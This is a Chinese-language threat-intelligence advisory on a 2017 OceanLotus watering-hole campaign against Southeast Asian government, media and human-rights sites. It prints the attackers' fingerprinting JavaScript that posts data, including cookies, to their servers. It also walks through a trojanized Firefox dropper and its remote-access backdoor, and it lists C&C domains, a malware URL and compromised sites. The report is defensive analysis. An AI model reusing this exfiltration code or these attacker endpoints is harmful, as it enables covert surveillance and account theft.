【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

http://p7.qhimg.com/t010fe485a1fcd9f838.png

作者:360威胁情报中心 && 360CERT

文档信息

http://p1.qhimg.com/t01042ad7c46393e142.png

 

通告背景

2017 年 11 月 6 日,国外安全公司发布了一篇据称海莲花 APT 团伙新活动的报告,360 威胁情报中心对其进行了分析和影响面评估,提供处置建议。


事件概要

http://p2.qhimg.com/t0176cbd0c9ebdd4367.png

http://p5.qhimg.com/t012bba5723e5a4dc89.png

事件描述

2017年11月6日,国外安全公司Volexity发布了一篇关于疑似海莲花APT团伙新活动的报告,该报告指出攻击团伙攻击了与政府、军事、人权、媒体和国家石油勘探等有关的个人和组织的100多个网站。通过针对性的JavaScript脚本进行信息收集,修改网页视图,配合社会工程学诱导受害人点击安装恶意软件或者登陆钓鱼页面,以进行下一步的攻击渗透。


事件时间线

2017 年 11 月 6 日 Volexity 公司发布了据称海莲花新活动的报告。 

2017 年 11 月 7 日 360 威胁情报中心发现确认部分攻击并作出响应。


影响面和危害分析

攻击者团伙入侵目标用户可能访问的网站,不仅破坏网站的安全性,还会收集所访问用户的系统信息。如果确认感兴趣的目标,则会执行进一步的钓鱼攻击获取敏感账号信息或尝试植入恶意程序进行秘密控制。

基于360网络研究院的数据,访问过攻击者设置的信息收集恶意站点有可能被获取自身主机信息的用户数量在十万级别,造成较大的敏感信息泄露,而这些用户中的极少数被诱骗下载执行恶意代码从而植入后门。

目前360威胁情报中心确认部分网站受到了影响,建议用户,特别是政府及大型企业结合附件提供的IOC信息对自身系统进行检查处理。


处置建议

1. 网站管理员检查自己网站页面是否被植入了恶意链接,如发现,清理被控制的网站中嵌 入的恶意代码,并排查内部网络的用户是否被植入了恶意程序。 

2. 电脑安装防病毒安全软件,确认规则升级到最新。


技术分析

JavaScript分析

执行步骤

攻击者通过水坑攻击将恶意JavaScript代码植入到合法网站,收集用户浏览器指纹信息,修改网页视图诱骗用户登陆钓鱼页面、安装下载恶意软件。

大致的执行步骤是首先JavaScript脚本根据基础信息,引用到指定版本的恶意jQuery JavaScript文件进一步收集信息后获取新的JavaScript Payload。此Payload是大量的基础的函数以及更详尽的设备信息收集,同时还通过WebRTC获得真实IP地址。发送信息到通信地址加载新的 JavaScript Payload,此Payload进一步信息收集或者产生后续攻击变换。

探针一

http://45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=86462

jquery的最下面有个eval

http://p2.qhimg.com/t01c0825e7783a85943.png

核心获取传输数据部分如下:

var browser_hash = 'b0da8bd67938a5cf22e0-37cea33014-iGJHVcEXbp';
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'action': 'replace', 'name': 'WebRTC', 'value': array2json(window.listIP).replace(/"/g, '"'), 'log': 'Receiced WebRTC data from client {client}.' }; 
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'name': 'Browser Plugins', 'action': 'replace', 'value': array2json(plugins).replace(/"/g, '"'), 'log': 'Receiced Browser Plugins data from client {client}.' }; 
var info = { 'Screen': screen.width + ' x ' + screen.height, 'Window Size': window.outerWidth + ' x ' + window.outerHeight, 'Language': navigator.language, 'Cookie
Enabled': (navigator.cookieEnabled) ? 'Yes' : 'No', 'Java Enabled': (navigator.javaEnabled()) ? 'Yes' : 'No' }; 
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'name': 'Extended Browser Info', 'action': 'replace', 'value': array2json(info).replace(/"/g, '"'), 'log': 'Receiced Extended Browser Info data from client {client}.' };

探针二

获取数据部分,用于字符串处理,校对时区,收集swf、express、activex、flash以及插入swf

http://p3.qhimg.com/t0105da7f2209a98814.png

传送数据相关的代码

http://p3.qhimg.com/t014c570c23ed6cb182.png

发送的内容如下

'{"history":{"client_title":"",
"client_url":"https://www.google.co.kr/_/chrome/newtab?espv=2&ie=UTF-8",
"client_cookie":"SID=TQUtor57TAERNu6GqnR4pjxikT_fUFRYJg0WDuQR6DLPYP79ng8b20xLV45BALRr9EP0ig.; 
APISID=czIiWPC84XzsPhi7/AEXqM7jJZBOCVK4NB; 
SAPISID=EukztCzcUbvlcTe3/A0h8Z8oQR86VGPTf_; 
UULE=a+cm9sZToxIHByb2R1Y2VyOjEyIHByb3ZlbmFuY2U6NiB0aW1lc3RhbXA6MTUxMDA1Mzg3NDY1OTAwMCBsYXRsbmd7bGF0aXR1ZGVfZTc6Mzk5ODE5MzY5IGxvbmdpdHVkZV9lNzoxMTY0ODQ5ODQ5fSByYWRpdXM6MzM0ODA=; 
1P_JAR=2017-11-8-2",
"client_hash":"",
"client_referrer":"",
"client_platform_ua":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
"client_time":"2017-11-08T03:40:25.641Z",
"client_network_ip_list":["10.17.52.196"],
"timezone":"Asia/Shanghai"}}'

数据传输地址

探针一

接受数据 //45.32.105.45/icon.jpg?v=86462&d={data} 

根据参数下发 

payload //45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?&v=86462&h1={data}&h2={data}&r={data}

探针二

往以下地址 POST 数据,并接受新的 js 并运行//ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1


信息收集列表

浏览器中执行的恶意代码会收集如下这些信息:

浏览器类型

浏览器版本

浏览器分辨率、DPI

CPU类型

CPU核心数

设备分辨率

BuildID

系统语言

jsHeapSizeLimit

screen.colorDepth

是否开启Cookie

是否开启Java

已经加载的插件列表

Referrer

当前网络IP

Cookie

定向投递

完成信息收集之后,攻击者会通过一个白名单过滤感兴趣的用户,如果不是仅仅返回一个时间戳,是则下发相应的JavaScript Payload,执行以下功能:

以钓鱼的方式骗取攻击目标的Google账号信息

欺骗用户安装或更新捆绑了恶意代码的浏览器软件(已知的有IE、Chrome及Firefox)

以下两个Amazon相关的域名用于存放假浏览器软件(该地址也可用于鱼叉链接)

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com


二进制样本分析

Dorpper

通过关联分析,360威胁情报中心定位到一个相关的恶意样本( MD5:eb2b52ed27346962c4b7b26df51ebafa

样本是一个捆绑了Firefox浏览器的Dropper:

http://p5.qhimg.com/t019257cc2a3f084a88.png                 

http://p5.qhimg.com/t012c0f219dc6b9bd41.png                               

该Dropper中有一个Name为1的大资源:

http://p3.qhimg.com/t019268d213281793e0.png

该资源是加密的,经过调试分析得到解密后的数据如下:

http://p5.qhimg.com/t01b57cd4ef21742e52.png

数据结构如下图所示:

http://p9.qhimg.com/t0129ae2775093e3d75.png

经过分析发现该资源数据的数据结构如下:

http://p6.qhimg.com/t01349d37df4074a3eb.png

如下为解密后的Firefox文件(7zS.sfx.exe)和具备自删除功能的程序文件(123.exe):

http://p7.qhimg.com/t01a41fd4d5928b7328.png

正常的Firefox安装截图如下:

http://p0.qhimg.com/t01887528f59ef5dd9d.png

执行正常的Firefox后,会先申请一个5个字节的内存空间,用于存放跳转指令,还会再申请一个内存空间存放资源数据中“第一部分代码”的地方,然后计算相对偏移,修改相对地址,跳转过去执行shellcode:

http://p1.qhimg.com/t012af2424b415eeabd.png

下图为修正的5个字节的跳转的数据:

http://p0.qhimg.com/t01a19b1f588f9d4701.png

下图为跳转后的shellcode的入口处,代码里插入了花指令:

http://p1.qhimg.com/t01c17a1b7f9ff3dcc9.png

http://p7.qhimg.com/t01ee8b4a776b1bb790.png

http://p4.qhimg.com/t0155090210d2615e48.png

Shellcode会从自身提取出来修正前的PE文件的内容,修正后复制到目标内存中,并在内存中执行起来,下图为把复制数据的操作:

http://p7.qhimg.com/t01083063978dc092a3.png

下图为复制修正后的PE头数据:

http://p2.qhimg.com/t012d158093ae02b0ce.png

Dump出的PE基本信息如下,

导出模块名为:{103004A5-829C-418E-ACE9-A7615D30E125}.dll:

http://p3.qhimg.com/t01020ca5f0714d3027.png

Dump出的PE(DLL形式的Dropper)中也有一个名为1的资源:

http://p9.qhimg.com/t01753d9857d200906b.png

资源的大小为1079KB:

http://p0.qhimg.com/t01cbda2f52c387fdc9.png

http://p5.qhimg.com/t01bcfa4f8008cf8b48.png

该资源数据使用DES加密:

http://p2.qhimg.com/t015fece509748adc14.png

解密后的数据为拼接到一起的3个文件:rastlsc.exe、rastls.dll和sylog.bin

http://p6.qhimg.com/t01ef6362844f3e5420.png

释放的3个文件为典型的白利用过杀软方式,rastlsc.exe文件带有Symantec的签名,此白文件会加载同目录下的rastls.dll,该dll会去解密加载sylog.bin文件并执行:

http://p5.qhimg.com/t0140d89c28e9e80372.png

Dropper执行shellcode后,会把执行自删除功能的文件释放到temp目录的123.exe,把正常的浏览器文件替换掉Dropper后,以Dropper的路径作为参数运行123.exe:

http://p5.qhimg.com/t01db07916947721e2a.png

123.exe的功能主要是睡眠一秒后删除命令行传过来的文件,攻击者不通过调用cmd.exe的方式删除自己,估计是为了免杀。

http://p7.qhimg.com/t01bc128299925675f6.png


恶意功能代码

sylog.bin文件在内存中解析后被执行,代码会获取计算机信息生成字符串与 .harinarach.com、.maerferd.com和 .eoneorbin.com拼接成一个完整的域名,连接其25123端口:

http://p5.qhimg.com/t018a7f67661b2f02ef.png

http://p3.qhimg.com/t01113ab12e8775a98d.png

http://p4.qhimg.com/t019ce864ef5e97ce5d.png

成功连接后可以执行如下远控功能:

1、 文件管理

2、 远程shell

3、 注册表管理

4、 进程管理

关于远控部分的其他细节,360威胁情报中心将会在后续给出更详细的分析。


总体流程图

综合上述分析,样本执行流程总结如下:

http://p1.qhimg.com/t01a30360ed1fbf53d9.png

关联分析及溯源

360威胁情报中心尝试通过分发JavaScript的恶意域名的WHOIS信息来对本次事件做一些关联分析,一共38个域名,基本上都使用了隐私保护,注册时间则分布于2014年3月至2017年 10月,可见攻击团伙的活动时间之长准备之充分。如下是其中一个域名的注册信息: http://p5.qhimg.com/t013b548969626eee13.png

从攻击团伙用于C&C通信的域名dload01.s3.amazonaws.com出发,360威胁情报中心发现一个捆绑恶意代码的Firefox浏览器更新文件,该文件就是技术分析部分提到的恶意样本。同时360威胁情报中心还发现了更多的恶意代码,包括Cobalt Strike生成的Powershell代码以及捆绑在其他浏览器中的恶意样本,这也是海莲花团伙的惯用手法之一,后续360威胁情报中心可能会发布更多相关的恶意代码分析。

http://p7.qhimg.com/t01395224f8bda9bc24.png

参考资料

https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance -and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/

更新历史

http://p0.qhimg.com/t0157b67b3814c245c9.png

附件

IOC列表

C&C服务器

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com

maerferd.com

harinarach.com

eoneorbin.com

http://dload01.s3.amazonaws.com/b89fdbf4-9f80-11e7-abc4-2209cec278b6b50a/FirefoxInstaller.exe

分发JavaScript的恶意域名

a.doulbeclick.org

ad.adthis.org

ad.jqueryclick.com

ad.linksys-analytic.com

ads.alternativeads.net

api.2nd-weibo.com

api.analyticsearch.org

api.baiduusercontent.com

api.disquscore.com

api.fbconnect.net

api.querycore.com

browser-extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com

cache.akamaihd-d.com

cdn-js.com

cdn.adsfly.co

cdn.disqusapi.com

cloud.corewidget.com

cloudflare-api.com

core.alternativeads.net

cory.ns.webjzcnd.com

d3.advertisingbaidu.com

eclick.analyticsearch.org

google-js.net

google-js.org

google-script.net

googlescripts.com

gs.baidustats.com

health-ray-id.com

hit.asmung.net

jquery.google-script.org

js.ecommer.org

linked.livestreamanalytic.com

linksys-analytic.com

live.webfontupdate.com

s.jscore-group.com

s1.gridsumcontent.com

s1.jqueryclick.com

ssl.security.akamaihd-d.com

stat.cdnanalytic.com

static.livestreamanalytic.com

stats.corewidget.com

stats.widgetapi.com

track-google.com

update.akamaihd-d.com

update.security.akamaihd-d.com

update.webfontupdate.com

upgrade.liveupdateplugins.com

widget.jscore-group.com

wiget.adsfly.co

www.googleuserscontent.org

曾经被插入过恶意JavaScript的正常网站/URL

anninhdothi.com

asean.org

atr.asean.org

bacaytruc.com

baocalitoday.com

baotiengdan.com

baovesusong.net

basamnews.info

bdstarlbs.com

bokeo.gov.la

boxitvn.blogspot.com

boxitvn.blogspot.de

boxitvn.blogspot.ro

bshohai.blogspot.com

chanlyonline.com

chatluongvn.tk

chuongtrinhchuyende.com

damau.org

danchimviet.info

dannews.info

ddsvvn.blogspot.com

delivery.adnetwork.vn

demo.mcs.gov.kh

doanhuulong.blogspot.de

ethongluan.org

ethongluan01.blogspot.be

ethongluan01.blogspot.com

frphamlong.blogspot.com

gwhs.i.gov.ph

hongbagai.blogspot.com

hopluu.net

icevn.org

investasean.asean.org

khmerangkor-news.com

laoedaily.com.la

m.baomoi.com

m.suckhoedoisong.vn

machsongmedia.com

mail.dnd.gov.ph

mail.vms.com.vn

mcs.gov.kh

mlobkhmer-news.com

monasri.gov.kh

nationalrescueparty.org

nguoivietboston.com

niptict.edu.kh

nsvancung.com

ntuongthuy.blogspot.com

op-proper.gov.ph

phamnguyentruong.blogspot.com

phiatruoc.info

phongkhamdakhoadanang.com

police.gov.kh

pttpgqt.org

quanvan.net

quyenduocbiet.com

radiodlsn.com

sensoknews.com

sihanoukville.gov.kh

son-trung.blogspot.com

son-trung.blogspot.com.au

suckhoedoisong.vn

tag.gammaplatform.com

tandaiviet.org

thanglongcompany.com

thanhlinh.net

thanhnienconggiao.blogspot.com

thanhnienconggiao.blogspot.com.au

thewenews.com

thsedessapientiae.net

thuvienhoasen.org

thuymyrfi.blogspot.com

thuymyrfi.blogspot.fr

tiengnoividan.blogspot.com

tiengnoividan.blogspot.com.au

tinkhongle.blogspot.com

tinparis.net

truongduynhat.org

truyenhinhcalitoday.com

ukk-news.com

v-card.vn

veto-network.org

vietcatholic.net

vietcatholic.org

vietchonhau.blogspot.co.uk

vietchonhau.blogspot.com

vietfact.com

vnwhr.net

vuhuyduc.blogspot.com

www.afp.mil.ph

www.atgt.vn

www.attapeu.gov.la

www.bacaytruc.com

www.baocalitoday.com

www.baogiaothong.vn

www.baomoi.com

www.baotgm.com

www.blogger.com

www.cdnvqglbhk.org

www.chanlyonline.com

www.clip6s.com

www.cnpc.com.cn

www.cnrp7.org

www.cpp.org.kh

www.damau.info

www.damau.org

www.danchimviet.info

www.diendantheky.net

www.ethongluan.org

www.fia.gov.kh

www.firstcagayan.com

www.icevn.org

www.ijavn.org

www.khmer-note.com

www.khmer-press.com

www.kimlimshop.com

www.kntnews.com

www.leanhhung.com

www.lyhuong.net

www.machsongmedia.com

www.mcs.gov.kh

www.monasri.gov.kh

www.moneaksekar.com

www.mosvy.gov.kh

www.nationalrescueparty.org

www.ndanghung.com

www.necelect.org.kh

www.nguoi-viet.com

www.nguoitieudung.com.vn

www.pac.edu.kh

www.phapluatgiaothong.vn

www.phnompenhpost.com

www.police.gov.kh

www.preynokornews.today

www.quyenduocbiet.com

www.radiodlsn.com

www.siamovies.vn

www.tapchigiaothong.vn

www.tapchinhanquyen.com

www.thanhnientphcm.com

www.tienbo.org

www.tinnhanhne.net

www.trinhanmedia.com

www.tuvanonecoin.net

www.vande.org

www.vietcatholic.net

www.vietnamhumanrightsdefenders.net

www.vietnamthoibao.org

www.vietnamvanhien.net

www.vietthuc.org

xuandienhannom.blogspot.com

xuandienhannom.blogspot.com.au

http://asean.org/modules/aseanmail/js/wp-mailinglist.js

http://asean.org/modules/wordpress-popup/inc/external/wpmu-lib/js/wpmu-ui.3.min.js

http://atr.asean.org/

http://investasean.asean.org/

http://www.afp.mil.ph/modules/mod_js_flexslider/assets/js/jquery.easing.js

http://www.mfa.gov.kh/jwplayer.js

http://www.moe.gov.kh/other/js/jquery/jquery.js

http://www.monasri.gov.kh/wtemplates/monasri_template/js/menu/mega.js

http://www.mosvy.gov.kh/public/js/default.js

http://www.mpwt.gov.la/media/system/js/mootools-core.js

http://www.police.gov.kh/wp-includes/js/jquery/jquery.js

(完)